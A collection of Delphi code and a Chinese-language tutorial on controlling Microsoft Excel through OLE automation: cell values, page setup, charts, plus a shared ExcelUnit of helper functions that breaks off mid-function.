
if DrawGrid then

begin

GridBound.top:=CellRowOffset+1;

if ShowFieldName then

GridBound.bottom:=RecordCount+CellRowOffset+1

else

GridBound.bottom:=RecordCount+CellRowOffset;

GridBound.left:=1+CellColOffset;

GridBound.Right:=CellColOffset+FieldCount;

self.DrawGrid;

end;

if SaveFile and (SaveFileName<>'')then

wbook.activeworkbook.saveas(SaveFileName);

if ShowExcel then

ShowExcelWindow;

end;

end;

procedure TArmExcel.CaculateSum;

begin

with ExportOptions,ExportOptions.Dataset do

begin

end;

end;

procedure TArmExcel.SetActiveSheet(const Value: string);

begin

FActiveSheet:= Value;

if (FActiveSheet<>'') and (Not Varisempty(wbook)) then

wbook.Sheets[activesheet].Select;

end;

procedure TArmExcel.SetShowGrid(const Value: boolean);

begin

FShowGrid := Value;

if FShowGrid then

DrawGrid

else

ClearGrid;

end;

procedure TArmExcel.ClearGrid;

VAR

ATXT:STRING;

begin

if Varisempty(wsheet) then

exit;

WITH GridBound DO

BEGIN

ATXT:=chr(64+left)+inttostr(top)+':'+chr(64+RIGHT)+inttostr(bottom);

WSheet.Range[ATXT].Borders[xlDiagonalDown].LineStyle:= xlNone;

WSheet.Range[ATXT].Borders[xlDiagonalUp].LineStyle:=xlNone;

WSheet.Range[ATXT].Borders[xlEdgeLeft].LineStyle:=xlNone;

WSheet.Range[ATXT].Borders[xlEdgeTop].LineStyle:=xlNone;

WSheet.Range[ATXT].Borders[xlEdgeBottom].LineStyle:=xlNone;

WSheet.Range[ATXT].Borders[xlEdgeRight].LineStyle:=xlNone;

WSheet.Range[ATXT].Borders[xlInsideVertical].LineStyle:=xlNone;

WSheet.Range[ATXT].Borders[xlInsideHorizontal].LineStyle:=xlNone;

END;

end;

procedure TArmExcel.SetPrintTitleRows(const Value: STRING);

begin

FPrintTitleRows := Value;

if not Varisempty(wsheet) then

WSheet.PageSetup.PrintTitleRows:=PrintTitleRows;

end;

procedure TArmExcel.SetPagerSize(const Value: TPaperSize);

begin

FPagerSize := Value;

if not Varisempty(wsheet) then

wsheet.pagesetup.PaperSize:=PaperSizeMetrics[PaperSize];

end;

{ TExportOptions }

constructor TExportOptions.create;

begin

inherited create;

FSumFields:=TStringlist.Create;

end;

destructor TExportOptions.Destroy;

begin

FSumFields.Free;

inherited Destroy;

end;

procedure TExportOptions.SetSumFields(const Value: TStrings);

begin

if Value = FSumFields then

Exit;

FSumFields.Assign(Value);

end;

end.


Delphi 5 控制Excel

我们在对日开发中Delphi控制Excel的经验如下：

Delphi 5 控制Excel

作者：吴晓勇，孙唏瑜

时间：2001年11月20日

(一) 使用动态创建的方法

首先创建 Excel 对象，使用ComObj:

var ExcelApp: Variant;

ExcelApp := CreateOleObject( 'Excel.Application' );

1) 显示当前窗口：

ExcelApp.Visible := True;

2) 更改 Excel 标题栏：

ExcelApp.Caption := '应用程序调用 Microsoft Excel';

3) 添加新工作簿：

ExcelApp.WorkBooks.Add;

4) 打开已存在的工作簿：

ExcelApp.WorkBooks.Open( 'C:.xls' );

5) 设置第2个工作表为活动工作表：

ExcelApp.WorkSheets[2].Activate;

或

ExcelApp.WorksSheets[ 'Sheet2' ].Activate;

6) 给单元格赋值：

ExcelApp.Cells[1,4].Value := '第一行第四列';

7) 设置指定列的宽度（单位：字符个数），以第一列为例：

ExcelApp.ActiveSheet.Columns[1].ColumnsWidth := 5;

8) 设置指定行的高度（单位：磅）（1磅＝0.035厘米），以第二行为例：

ExcelApp.ActiveSheet.Rows[2].RowHeight := 1/0.035; // 1厘米

9) 在第8行之前插入分页符：

ExcelApp.WorkSheets[1].Rows[8].PageBreak := 1;

10) 在第8列之前删除分页符：

ExcelApp.ActiveSheet.Columns[4].PageBreak := 0;

11) 指定边框线宽度：

ExcelApp.ActiveSheet.Range[ 'B3:D4' ].Borders[2].Weight := 3;

1-左 2-右 3-顶 4-底 5-斜( ) 6-斜( / )

12) 清除第一行第四列单元格公式：

ExcelApp.ActiveSheet.Cells[1,4].ClearContents;

13) 设置第一行字体属性：

ExcelApp.ActiveSheet.Rows[1].Font.Name := '隶书';

ExcelApp.ActiveSheet.Rows[1].Font.Color := clBlue;

ExcelApp.ActiveSheet.Rows[1].Font.Bold := True;

ExcelApp.ActiveSheet.Rows[1].Font.UnderLine := True;

14) 进行页面设置：

a.页眉：

ExcelApp.ActiveSheet.PageSetup.CenterHeader := '报表演示';

b.页脚：

ExcelApp.ActiveSheet.PageSetup.CenterFooter := '第&P页';

c.页眉到顶端边距2cm：

ExcelApp.ActiveSheet.PageSetup.HeaderMargin := 2/0.035;

d.页脚到底端边距3cm：

ExcelApp.ActiveSheet.PageSetup.HeaderMargin := 3/0.035;

e.顶边距2cm：

ExcelApp.ActiveSheet.PageSetup.TopMargin := 2/0.035;

f.底边距2cm：

ExcelApp.ActiveSheet.PageSetup.BottomMargin := 2/0.035;

g.左边距2cm：

ExcelApp.ActiveSheet.PageSetup.LeftMargin := 2/0.035;

h.右边距2cm：

ExcelApp.ActiveSheet.PageSetup.RightMargin := 2/0.035;

i.页面水平居中：

ExcelApp.ActiveSheet.PageSetup.CenterHorizontally := 2/0.035;

j.页面垂直居中：

ExcelApp.ActiveSheet.PageSetup.CenterVertically := 2/0.035;

k.打印单元格网线：

ExcelApp.ActiveSheet.PageSetup.PrintGridLines := True;

15) 拷贝操作：

a.拷贝整个工作表：

ExcelApp.ActiveSheet.Used.Range.Copy;

b.拷贝指定区域：

ExcelApp.ActiveSheet.Range[ 'A1:E2' ].Copy;

c.从A1位置开始粘贴：

ExcelApp.ActiveSheet.Range.[ 'A1' ].PasteSpecial;

d.从文件尾部开始粘贴：

ExcelApp.ActiveSheet.Range.PasteSpecial;

16) 插入一行或一列：

a. ExcelApp.ActiveSheet.Rows[2].Insert;

b. ExcelApp.ActiveSheet.Columns[1].Insert;

17) 删除一行或一列：

a. ExcelApp.ActiveSheet.Rows[2].Delete;

b. ExcelApp.ActiveSheet.Columns[1].Delete;

18) 打印预览工作表：

ExcelApp.ActiveSheet.PrintPreview;

19) 打印输出工作表：

ExcelApp.ActiveSheet.PrintOut;

20) 工作表保存：

if not ExcelApp.ActiveWorkBook.Saved then

ExcelApp.ActiveSheet.PrintPreview;

21) 工作表另存为：

ExcelApp.SaveAs( 'C:.xls' );

22) 放弃存盘：

ExcelApp.ActiveWorkBook.Saved := True;

23) 关闭工作簿：

ExcelApp.WorkBooks.Close;

24) 退出 Excel：

ExcelApp.Quit;

(二) 使用Delphi 控件方法

在Form中分别放入ExcelApplication, ExcelWorkbook和ExcelWorksheet。

1） 打开Excel

ExcelApplication1.Connect;

2) 显示当前窗口：

ExcelApplication1.Visible[0]:=True;

3) 更改 Excel 标题栏：

ExcelApplication1.Caption := '应用程序调用 Microsoft Excel';

4) 添加新工作簿：

ExcelWorkbook1.ConnectTo(ExcelApplication1.Workbooks.Add(EmptyParam,0));

5) 添加新工作表：

var Temp_Worksheet: _WorkSheet;

begin

Temp_Worksheet:=ExcelWorkbook1.

WorkSheets.Add(EmptyParam,EmptyParam,EmptyParam,EmptyParam,0) as _WorkSheet;

ExcelWorkSheet1.ConnectTo(Temp_WorkSheet);

End;

6) 打开已存在的工作簿：

ExcelApplication1.Workbooks.Open (c:.xls

EmptyParam,EmptyParam,EmptyParam,EmptyParam,

EmptyParam,EmptyParam,EmptyParam,EmptyParam,

EmptyParam,EmptyParam,EmptyParam,EmptyParam,0)

7) 设置第2个工作表为活动工作表：

ExcelApplication1.WorkSheets[2].Activate; 或

ExcelApplication1.WorksSheets[ 'Sheet2' ].Activate;

8) 给单元格赋值：

ExcelApplication1.Cells[1,4].Value := '第一行第四列';

9) 设置指定列的宽度（单位：字符个数），以第一列为例：

ExcelApplication1.ActiveSheet.Columns[1].ColumnsWidth := 5;

10) 设置指定行的高度（单位：磅）（1磅＝0.035厘米），以第二行为例：

ExcelApplication1.ActiveSheet.Rows[2].RowHeight := 1/0.035; // 1厘米

11) 在第8行之前插入分页符：

ExcelApplication1.WorkSheets[1].Rows[8].PageBreak := 1;

12) 在第8列之前删除分页符：

ExcelApplication1.ActiveSheet.Columns[4].PageBreak := 0;

13) 指定边框线宽度：

ExcelApplication1.ActiveSheet.Range[ 'B3:D4' ].Borders[2].Weight := 3;

1-左 2-右 3-顶 4-底 5-斜( ) 6-斜( / )

14) 清除第一行第四列单元格公式：

ExcelApplication1.ActiveSheet.Cells[1,4].ClearContents;

15) 设置第一行字体属性：

ExcelApplication1.ActiveSheet.Rows[1].Font.Name := '隶书';

ExcelApplication1.ActiveSheet.Rows[1].Font.Color := clBlue;

ExcelApplication1.ActiveSheet.Rows[1].Font.Bold := True;

ExcelApplication1.ActiveSheet.Rows[1].Font.UnderLine := True;

16) 进行页面设置：

a.页眉：

ExcelApplication1.ActiveSheet.PageSetup.CenterHeader := '报表演示';

b.页脚：

ExcelApplication1.ActiveSheet.PageSetup.CenterFooter := '第&P页';

c.页眉到顶端边距2cm：

ExcelApplication1.ActiveSheet.PageSetup.HeaderMargin := 2/0.035;

d.页脚到底端边距3cm：

ExcelApplication1.ActiveSheet.PageSetup.HeaderMargin := 3/0.035;

e.顶边距2cm：

ExcelApplication1.ActiveSheet.PageSetup.TopMargin := 2/0.035;

f.底边距2cm：

ExcelApplication1.ActiveSheet.PageSetup.BottomMargin := 2/0.035;

g.左边距2cm：

ExcelApplication1.ActiveSheet.PageSetup.LeftMargin := 2/0.035;

h.右边距2cm：

ExcelApplication1.ActiveSheet.PageSetup.RightMargin := 2/0.035;

i.页面水平居中：

ExcelApplication1.ActiveSheet.PageSetup.CenterHorizontally := 2/0.035;

j.页面垂直居中：

ExcelApplication1.ActiveSheet.PageSetup.CenterVertically := 2/0.035;

k.打印单元格网线：

ExcelApplication1.ActiveSheet.PageSetup.PrintGridLines := True;

17) 拷贝操作：

a.拷贝整个工作表：

ExcelApplication1.ActiveSheet.Used.Range.Copy;

b.拷贝指定区域：

ExcelApplication1.ActiveSheet.Range[ 'A1:E2' ].Copy;

c.从A1位置开始粘贴：

ExcelApplication1.ActiveSheet.Range.[ 'A1' ].PasteSpecial;

d.从文件尾部开始粘贴：

ExcelApplication1.ActiveSheet.Range.PasteSpecial;

18) 插入一行或一列：

a. ExcelApplication1.ActiveSheet.Rows[2].Insert;

b. ExcelApplication1.ActiveSheet.Columns[1].Insert;

19) 删除一行或一列：

a. ExcelApplication1.ActiveSheet.Rows[2].Delete;

b. ExcelApplication1.ActiveSheet.Columns[1].Delete;

20) 打印预览工作表：

ExcelApplication1.ActiveSheet.PrintPreview;

21) 打印输出工作表：

ExcelApplication1.ActiveSheet.PrintOut;

22) 工作表保存：

if not ExcelApplication1.ActiveWorkBook.Saved then

ExcelApplication1.ActiveSheet.PrintPreview;

23) 工作表另存为：

ExcelApplication1.SaveAs( 'C:.xls' );

24) 放弃存盘：

ExcelApplication1.ActiveWorkBook.Saved := True;

25) 关闭工作簿：

ExcelApplication1.WorkBooks.Close;

26) 退出 Excel：

ExcelApplication1.Quit;

ExcelApplication1.Disconnect;

(三) 使用Delphi 控制Excle二维图

在Form中分别放入ExcelApplication, ExcelWorkbook和ExcelWorksheet

var asheet1,achart, range:variant;

1）选择当第一个工作薄第一个工作表

asheet1:=ExcelApplication1.Workbooks[1].Worksheets[1];

2）增加一个二维图

achart:=asheet1.chartobjects.add(100,100,200,200);

3）选择二维图的形态

achart.chart.charttype:=4;

4）给二维图赋值

series:=achart.chart.seriescollection;

range:=sheet1!r2c3:r3c9;

series.add(range,true);

5）加上二维图的标题

achart.Chart.HasTitle:=True;

achart.Chart.ChartTitle.Characters.Text:=’ Excle二维图’

6）改变二维图的标题字体大小

achart.Chart.ChartTitle.Font.size:=6;

7）给二维图加下标说明

achart.Chart.Axes(xlCategory, xlPrimary).HasTitle := True;

achart.Chart.Axes(xlCategory, xlPrimary).AxisTitle.Characters.Text := '下标说明';

8）给二维图加左标说明

achart.Chart.Axes(xlValue, xlPrimary).HasTitle := True;

achart.Chart.Axes(xlValue, xlPrimary).AxisTitle.Characters.Text := '左标说明';

9）给二维图加右标说明

achart.Chart.Axes(xlValue, xlSecondary).HasTitle := True;

achart.Chart.Axes(xlValue, xlSecondary).AxisTitle.Characters.Text := '右标说明';

10）改变二维图的显示区大小

achart.Chart.PlotArea.Left := 5;

achart.Chart.PlotArea.Width := 223;

achart.Chart.PlotArea.Height := 108;

11）给二维图坐标轴加上说明

achart.chart.seriescollection[1].NAME:='坐标轴说明';

E-Mail: sunxiyu@gd-soft.net

wuxy@gd-soft.net

声明：转载本文内容请与作者联系。


一个操作Excel的单元

来自：DragonPC_???, 时间：2001-12-1 22:15:00, ID：758092

这里给出一个Excel的操作单元，函概了部分常用Excel操作，不是我写的，是从Experts-Exchange

看到后收藏起来的，给大家参考。

// 该文件操作单元封装了大部分的Excel操作

// use to manipulate Excel xls File

// Dragon P.C. <2000.05.10>

unit ExcelUnit;

interface

uses

Dialogs, Messages, SysUtils, Grids, Cmp_Sec, ComObj, Ads_Misc;

{!~Add a blank WorkSheet}

Function ExcelAddWorkSheet(Excel : Variant): Boolean;

{!~Close Excel}

Function ExcelClose(Excel : Variant; SaveAll: Boolean): Boolean;

{!~Returns the Column String Value from its integer equilavent.}

Function ExcelColIntToStr(ColNum: Integer): ShortString;

{!~Returns the Column Integer Value from its Alpha equilavent.}

Function ExcelColStrToInt(ColStr: ShortString): Integer;

{!~Close All Workbooks. All workbooks can be saved or not.}

Function ExcelCloseWorkBooks(Excel : Variant; SaveAll: Boolean): Boolean;

{!~Copies a range of Excel Cells to a Delphi StringGrid. If successful

True is returned, False otherwise. If SizeStringGridToFit is True

then the StringGrid is resized to be exactly the correct dimensions to

receive the input Excel cells, otherwise the StringGrid is not resized.

If ClearStringGridFirst is true then any cells outside the input range

are cleared, otherwise existing values are retained. Please not that the

Excel cell coordinates are "1" based and the Delphi StringGrid coordinates

are zero based.}

Function ExcelCopyToStringGrid(

Excel : Variant;

ExcelFirstRow : Integer;

ExcelFirstCol : Integer;

ExcelLastRow : Integer;

ExcelLastCol : Integer;

StringGrid : TStringGrid;

StringGridFirstRow : Integer;

StringGridFirstCol : Integer;

{Make the StringGrid the same size as the input range}

SizeStringGridToFit : Boolean;

{cells outside input range in StringGrid are cleared}

ClearStringGridFirst : Boolean

): Boolean;

{!~Delete a WorkSheet by Name}

Function ExcelDeleteWorkSheet(

Excel : Variant;

SheetName : ShortString): Boolean;

{!~Moves the cursor to the last row and column}

Function ExcelEnd(Excel : Variant): Boolean;

{!~Finds A value and moves the cursor there.

If the value is not found then the cursor does not move.

If nothing is found then false is returned, True otherwise.}

Function ExcelFind(

Excel : Variant;

FindString : ShortString): Boolean;

{!~Finds A value in a range and moves the cursor there.

If the value is not found then the cursor does not move.

If nothing is found then false is returned, True otherwise.}

Function ExcelFindInRange(

Excel : Variant;

FindString : ShortString;

TopRow : Integer;

LeftCol : Integer;

LastRow : Integer;

LastCol : Integer): Boolean;

{!~Finds A value in a range and moves the cursor there. If the value is

not found then the cursor does not move. If nothing is found then

false is returned, True otherwise. The search directions can be defined.

If you want row searches to go from left to right then SearchRight should

be set to true, False otherwise. If you want column searches to go from

top to bottom then SearchDown should be set to true, false otherwise.

If RowsFirst is set to true then all the columns in a complete row will be

searched.}

Function ExcelFindValue(

Excel : Variant;

FindString : ShortString;

TopRow : Integer;

LeftCol : Integer;

LastRow : Integer;

LastCol : Integer;

SearchRight : Boolean;

SearchDown : Boolean;

RowsFirst : Boolean

): Boolean;

{!~Returns The First Col}

Function ExcelFirstCol(Excel : Variant): Integer;

{!~Returns The First Row}

Function ExcelFirstRow(Excel : Variant): Integer;

{!~Returns the name of the currently active worksheet

as a shortstring}

Function ExcelGetActiveSheetName(Excel : Variant): ShortString;

{!~Gets the formula in a cell.}

Function ExcelGetCellFormula(

Excel : Variant;

RowNum, ColNum: Integer): ShortString;

{!~Returns the contents of a cell as a shortstring}

Function ExcelGetCellValue(Excel : Variant; RowNum, ColNum: Integer): ShortString;

{!~Returns the the current column}

Function ExcelGetCol(Excel : Variant): Integer;

{!~Returns the the current row}

Function ExcelGetRow(Excel : Variant): Integer;

{!~Moves the cursor to the last column}

Function ExcelGoToLastCol(Excel : Variant): Boolean;

{!~Moves the cursor to the last row}

Function ExcelGoToLastRow(Excel : Variant): Boolean;

{!~Moves the cursor to the Leftmost Column}

Function ExcelGoToLeftmostCol(Excel : Variant): Boolean;

{!~Moves the cursor to the Top row}

Function ExcelGoToTopRow(Excel : Variant): Boolean;

{!~Moves the cursor to Home position, i.e., A1}

Function ExcelHome(Excel : Variant): Boolean;

{!~Returns The Last Column}

Function ExcelLastCol(Excel : Variant): Integer;

{!~Returns The Last Row}

Function ExcelLastRow(Excel : Variant): Integer;

{!~Open the file you want to work within Excel. If you want to

take advantage of optional parameters then you should use

ExcelOpenFileComplex}

Function ExcelOpenFile(Excel : Variant; FileName : String): Boolean;

{!~Open the file you want to work within Excel. If you want to

take advantage of optional parameters then you should use

ExcelOpenFileComplex}

Function ExcelOpenFileComplex(

Excel : Variant;

FileName : String;

UpdateLinks : Integer;

ReadOnly : Boolean;

Format : Integer;

Password : ShortString): Boolean;

{!~Saves the range on the currently active sheet

to to values only.}

Function ExcelPasteValuesOnly(

Excel : Variant;

ExcelFirstRow : Integer;

ExcelFirstCol : Integer;

ExcelLastRow : Integer;

ExcelLastCol : Integer): Boolean;

{!~Renames a worksheet.}

Function ExcelRenameSheet(

Excel : Variant;

OldName : ShortString;

NewName : ShortString): Boolean;

{!~Saves the range on the currently active sheet

to a DBase 4 table.}

Function ExcelSaveAsDBase4(

Excel : Variant;

ExcelFirstRow : Integer;

ExcelFirstCol : Integer;

ExcelLastRow : Integer;

ExcelLastCol : Integer;

OutFilePath : ShortString;

OutFileName : ShortString): Boolean;

{!~Saves the range on the currently active sheet

to a text file.}

Function ExcelSaveAsText(

Excel : Variant;

ExcelFirstRow : Integer;

ExcelFirstCol : Integer;

ExcelLastRow : Integer;

ExcelLastCol : Integer;

OutFilePath : ShortString;

OutFileName : ShortString): Boolean;

{!~Selects a range on the currently active sheet. From the

current cursor position a block is selected down and to the right.

The block proceeds down until an empty row is encountered. The

block proceeds right until an empty column is encountered.}

Function ExcelSelectBlock(

Excel : Variant;

FirstRow : Integer;

FirstCol : Integer): Boolean;

{!~Selects a range on the currently active sheet. From the

current cursor position a block is selected that contains

the currently active cell. The block proceeds in each

direction until an empty row or column is encountered.}

Function ExcelSelectBlockWhole(Excel: Variant): Boolean;

{!~Selects a cell on the currently active sheet}

Function ExcelSelectCell(Excel : Variant; RowNum, ColNum: Integer): Boolean;

{!~Selects a range on the currently active sheet}

Function ExcelSelectRange(

Excel : Variant;

FirstRow : Integer;

FirstCol : Integer;

LastRow : Integer;

LastCol : Integer): Boolean;

{!~Selects an Excel Sheet By Name}

Function ExcelSelectSheetByName(Excel : Variant; SheetName: String): Boolean;

{!~Sets the formula in a cell. Remember to include the equals sign "=".

If the function fails False is returned, True otherwise.}

Function ExcelSetCellFormula(

Excel : Variant;

FormulaString : ShortString;

RowNum, ColNum: Integer): Boolean;

{!~Sets the contents of a cell as a shortstring}

Function ExcelSetCellValue(

Excel : Variant;

RowNum, ColNum: Integer;

Value : ShortString): Boolean;

{!~Sets a Column Width on the currently active sheet}

Function ExcelSetColumnWidth(

Excel : Variant;

ColNum : Integer;

ColumnWidth: Integer): Boolean;

{!~Set Excel Visibility}

Function ExcelSetVisible(

Excel : Variant;

IsVisible: Boolean): Boolean;

{!~Saves the range on the currently active sheet

to values only.}

Function ExcelValuesOnly(

Excel : Variant;

ExcelFirstRow : Integer;

ExcelFirstCol : Integer;

ExcelLastRow : Integer;

ExcelLastCol : Integer): Boolean;

{!~Returns the Excel Version as a ShortString.}

Function ExcelVersion(Excel: Variant): ShortString;

Function IsBlockColSide(

Excel : Variant;

RowNum: Integer;

ColNum: Integer): Boolean; Forward;

Function IsBlockRowSide(

Excel : Variant;

RowNum: Integer;

ColNum: Integer): Boolean; Forward;

implementation

type

//Declare the constants used by Excel

SourceType = (xlConsolidation, xlDatabase, xlExternal, xlPivotTable);

Orientation = (xlHidden, xlRowField, xlColumnField, xlPageField, xlDataField);

RangeEnd = (NoValue, xlToLeft, xlToRight, xlUp, xlDown);

ExcelPasteType = (xlAllExceptBorders,xlNotes,xlFormats,xlValues,xlFormulas,xlAll);

{CAUTION!!! THESE OUTPUTS ARE ALL GARBLED! YOU SELECT xlDBF3 AND EXCEL

OUTPUTS A xlCSV.}

FileFormat = (xlAddIn, xlCSV, xlCSVMac, xlCSVMSDOS, xlCSVWindows, xlDBF2,

xlDBF3, xlDBF4, xlDIF, xlExcel2, xlExcel3, xlExcel4,

xlExcel4Workbook, xlIntlAddIn, xlIntlMacro, xlNormal,

xlSYLK, xlTemplate, xlText, xlTextMac, xlTextMSDOS,

xlTextWindows, xlTextPrinter, xlWK1, xlWK3, xlWKS,

xlWQ1, xlWK3FM3, xlWK1FMT, xlWK1ALL);

{Add a blank WorkSheet}

Function ExcelAddWorkSheet(Excel : Variant): Boolean;

Begin

Result := True;

Try

Excel.Worksheets.Add;

Except

MessageDlg('Unable to add a new worksheet', mtError, [mbOK], 0);

Result := False;

End;

End;

{Sets Excel Visibility}

Function ExcelSetVisible(Excel : Variant;IsVisible: Boolean): Boolean;

Begin

Result := True;

Try

Excel.Visible := IsVisible;

Except

MessageDlg('Unable to Excel Visibility', mtError, [mbOK], 0);

Result := False;

End;

End;

{Close Excel}

Function ExcelClose(Excel : Variant; SaveAll: Boolean): Boolean;

Begin

Result := True;

Try

ExcelCloseWorkBooks(Excel, SaveAll);

Excel.Quit;

Except

MessageDlg('Unable to Close Excel', mtError, [mbOK], 0);

Result := False;

End;

End;

{Close All Workbooks. All workbooks can be saved or not.}

Function ExcelCloseWorkBooks(Excel : Variant; SaveAll: Boolean): Boolean;

var

loop: byte;

Begin

Result := True;

Try

For loop := 1 to Excel.Workbooks.Count Do

Excel.Workbooks[1].Close[SaveAll];

Except

Result := False;

End;

End;

{Selects an Excel Sheet By Name}

Function ExcelSelectSheetByName(Excel : Variant; SheetName: String): Boolean;

Begin

Result := True;

Try

Excel.Sheets[SheetName].Select;

Except

Result := False;

End;

End;

{Selects a cell on the currently active sheet}

Function ExcelSelectCell(Excel : Variant; RowNum, ColNum: Integer): Boolean;

Begin

Result := True;

Try

Excel.ActiveSheet.Cells[RowNum, ColNum].Select;

Except

Result := False;

End;

End;

{Returns the contents of a cell as a shortstring}

Function ExcelGetCellValue(Excel : Variant; RowNum, ColNum: Integer): ShortString;

Begin

Result := '';

Try

Result := Excel.Cells[RowNum, ColNum].Value;

Except

Result := '';

End;

End;

{Returns the the current row}

Function ExcelGetRow(Excel : Variant): Integer;

Begin

Result := 1;

Try

Result := Excel.ActiveCell.Row;

Except

Result := 1;

End;

End;

{Returns the the current column}

Function ExcelGetCol(Excel : Variant): Integer;

Begin

Result := 1;

Try

Result := Excel.ActiveCell.Column;

Except

Result := 1;

End;

End;

{Moves the cursor to the last column}

Function ExcelGoToLastCol(Excel : Variant): Boolean;

Begin

Result := True;

Try

Excel.Selection.End[xlToRight].Select;

Except

Result := False;

End;

End;

{Moves the cursor to the last row}

Function ExcelGoToLastRow(Excel : Variant): Boolean;

Begin

Result := True;

Try

Excel.Selection.End[xlDown].Select;

Except

Result := False;

End;

End;

{Moves the cursor to the Top row}

Function ExcelGoToTopRow(Excel : Variant): Boolean;

Begin

Result := True;

Try

Excel.Selection.End[xlUp].Select;

Except

Result := False;

End;

End;

{Moves the cursor to the Leftmost Column}

Function ExcelGoToLeftmostCol(Excel : Variant): Boolean;

Begin

Result := True;

Try

Excel.Selection.End[xlToLeft].Select;

Except

Result := False;

End;

End;

{Moves the cursor to Home position}

Function ExcelHome(Excel : Variant): Boolean;

Begin

Result := True;

Try

Excel.ActiveSheet.Cells[1,1].Select;

Except

Result := False;

End;

End;

{Moves the cursor to the last row and column}

Function ExcelEnd(Excel : Variant): Boolean;

Begin

Result := True;

Try

Excel.Selection.End[xlDown].Select;

Excel.Selection.End[xlToRight].Select;

Except

Result := False;

End;

End;

{Returns The Last Column}

Function ExcelLastCol(Excel : Variant): Integer;

Var

CurRow : Integer;

CurCol : Integer;

Begin

Result := 1;

Try

CurRow := Excel.ActiveCell.Row;

CurCol := Excel.ActiveCell.Column;

Result := CurCol;

Excel.Selection.End[xlToRight].Select;

Result := Excel.ActiveCell.Column;

Excel.ActiveSheet.Cells[CurRow, CurCol].Select;

Except

End;

End;

{Returns The Last Row}

Function ExcelLastRow(Excel : Variant): Integer;

Var

CurRow : Integer;

CurCol : Integer;

Begin

Result := 1;

Try

CurRow := Excel.ActiveCell.Row;

CurCol := Excel.ActiveCell.Column;

Result := CurRow;

Excel.Selection.End[xlDown].Select;

Result := Excel.ActiveCell.Row;

Excel.ActiveSheet.Cells[CurRow, CurCol].Select;

Except

End;

End;

{Returns The First Row}

Function ExcelFirstRow(Excel : Variant): Integer;

Var

CurRow : Integer;

CurCol : Integer;

Begin

Result := 1;

Try

CurRow := Excel.ActiveCell.Row;

CurCol := Excel.ActiveCell.Column;

Result := CurRow;

Excel.Selection.End[xlUp].Select;

Result := Excel.ActiveCell.Row;

Excel.ActiveSheet.Cells[CurRow, CurCol].Select;

Except

End;

End;

{Returns The First Col}

Function ExcelFirstCol(Excel : Variant): Integer;

Var

CurRow : Integer;

CurCol : Integer;

Begin

Result := 1;

Try

CurRow := Excel.ActiveCell.Row;

CurCol := Excel.ActiveCell.Column;

Result := CurRow;

Excel.Selection.End[xlToLeft].Select;

Result := Excel.ActiveCell.Column;

Excel.ActiveSheet.Cells[CurRow, CurCol].Select;

Except

End;

End;

{Finds A value in a range and moves the cursor there. If the value is

not found then the cursor does not move. If nothing is found then

false is returned, True otherwise.}

Function ExcelFindValue(

Excel : Variant;

FindString : ShortString;

TopRow : Integer;

LeftCol : Integer;

LastRow : Integer;

LastCol : Integer;

SearchRight : Boolean;

SearchDown : Boolean;

RowsFirst : Boolean

): Boolean;

Var

CurRow : Integer;

CurCol : Integer;

TopRowN : Integer;

LeftColN : Integer;

LastRowN : Integer;

LastColN : Integer;

ColLoop : Integer;

RowLoop : Integer;

CellValue : ShortString;

FoundRow : Integer;

FoundCol : Integer;

Found : Boolean;

Begin

Result := False;

Try

Found := False;

FindString := UpperCase(FindString);

CurRow := Excel.ActiveCell.Row;

CurCol := Excel.ActiveCell.Column;

FoundRow := CurRow;

FoundCol := CurCol;

If SearchRight Then

Begin

LeftColN := LeftCol;

LastColN := LastCol;

End

Else

Begin

LeftColN := LastCol;

LastColN := LeftCol;

End;

If SearchDown Then

Begin

TopRowN := TopRow;

LastRowN := LastRow;

End

Else

Begin

TopRowN := LastRow;

LastRowN := TopRow;

End;

If RowsFirst Then

Begin

For ColLoop := LeftColN To LastColN Do

Begin

For RowLoop := TopRowN To LastRowN Do

Begin

CellValue := ExcelGetCellValue(Excel,RowLoop, ColLoop);

If UpperCase(CellValue) = FindString Then

Begin

FoundRow := RowLoop;

FoundCol := ColLoop;

Found := True;

Break;

End;

End;

If Found Then Break;

End;

End

Else

Begin

For RowLoop := TopRowN To LastRowN Do

Begin

For ColLoop := LeftColN To LastColN Do

Begin

CellValue := ExcelGetCellValue(Excel,RowLoop, ColLoop);

If UpperCase(CellValue) = FindString Then

Begin

FoundRow := RowLoop;

FoundCol := ColLoop;

Found := True;

Break;

End;

End;

If Found Then Break;

End;

End;

Excel.Cells[FoundRow, FoundCol].Activate;

Result := Found;

Except

Result := False;

End;

End;

{Finds A value in a range and moves the cursor there. If the value is

not found then the cursor does not move. If nothing is found then

false is returned, True otherwise.}

Function ExcelFindInRange(

Excel : Variant;

FindString : ShortString;

TopRow : Integer;

LeftCol : Integer;

LastRow : Integer;

LastCol : Integer): Boolean;

Begin

Result :=

ExcelFindValue(

Excel,

FindString,

TopRow,

LeftCol,

LastRow,

LastCol,

True,

True,

True);

End;

{Finds A value and moves the cursor there. If the value is

not found then the cursor does not move. If nothing is found then

false is returned, True otherwise.}

Function ExcelFind(

Excel : Variant;

FindString : ShortString): Boolean;

Begin

Result :=

ExcelFindInRange(

Excel,

FindString,

ExcelFirstRow(Excel),

ExcelFirstCol(Excel),

ExcelLastRow(Excel),

ExcelLastCol(Excel));

End;

{!~Copies a range of Excel Cells to a Delphi StringGrid. If successful

True is returned, False otherwise. If SizeStringGridToFit is True

then the StringGrid is resized to be exactly the correct dimensions to

receive the input Excel cells, otherwise the StringGrid is not resized.

If ClearStringGridFirst is true then any cells outside the input range

are cleared, otherwise existing values are retained. Please not that the

Excel cell coordinates are "1" based and the Delphi StringGrid coordinates

are zero based.}

Function ExcelCopyToStringGrid(

Excel : Variant;

ExcelFirstRow : Integer;

ExcelFirstCol : Integer;

ExcelLastRow : Integer;

ExcelLastCol : Integer;

StringGrid : TStringGrid;

StringGridFirstRow : Integer;

StringGridFirstCol : Integer;

SizeStringGridToFit : Boolean; {Make the StringGrid the same size as the input range}

ClearStringGridFirst : Boolean {cells outside input range in StringGrid are cleared}

): Boolean;

Var

C,R : Integer;

Begin

Result := False;

If ExcelLastCol < ExcelFirstCol Then Exit;

If ExcelLastRow < ExcelFirstRow Then Exit;

If (ExcelFirstRow < 1) Or (ExcelFirstRow > 255) Then Exit;

If (ExcelFirstCol < 1) Or (ExcelFirstCol > 30000) Then Exit;

If (ExcelLastRow < 1) Or (ExcelLastRow > 255) Then Exit;

If (ExcelLastCol < 1) Or (ExcelLastCol > 30000) Then Exit;

If StringGrid = nil Then Exit;

If SizeStringGridToFit Then

Begin

StringGrid.ColCount := ExcelLastCol - ExcelFirstCol + StringGridFirstCol + 1;

StringGrid.RowCount := ExcelLastRow - ExcelFirstRow + StringGridFirstRow + 1;

End;

If ClearStringGridFirst Then

Begin

